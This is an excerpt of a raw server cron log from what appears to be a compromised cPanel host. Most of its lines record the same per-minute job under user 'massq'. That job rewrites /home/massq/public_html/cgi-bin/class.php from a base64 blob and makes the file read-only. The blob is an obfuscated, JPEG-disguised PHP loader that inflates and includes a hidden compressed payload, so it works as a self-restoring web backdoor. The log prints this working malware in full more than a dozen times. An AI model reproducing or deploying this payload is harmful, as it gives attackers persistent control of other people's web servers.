&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:20:01 server CROND[25433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:20:01 server CROND[25435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:20:01 server CROND[25436]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 17:20:01 server CROND[25437]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 17:20:01 server CROND[25441]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:21:01 server CROND[26277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:22:01 server CROND[27150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:23:01 server CROND[27992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:24:01 server CROND[28953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:25:01 server CROND[29842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:25:01 server CROND[29843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:25:01 server CROND[29844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:26:01 server CROND[30710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:27:01 server CROND[31737]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 17:27:01 server CROND[31738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:28:01 server CROND[32600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:29:01 server CROND[1011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:30:01 server CROND[1915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 17:30:01 server CROND[1918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 17:30:01 server CROND[1919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:30:01 server CROND[1917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 17:31:01 server CROND[2864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
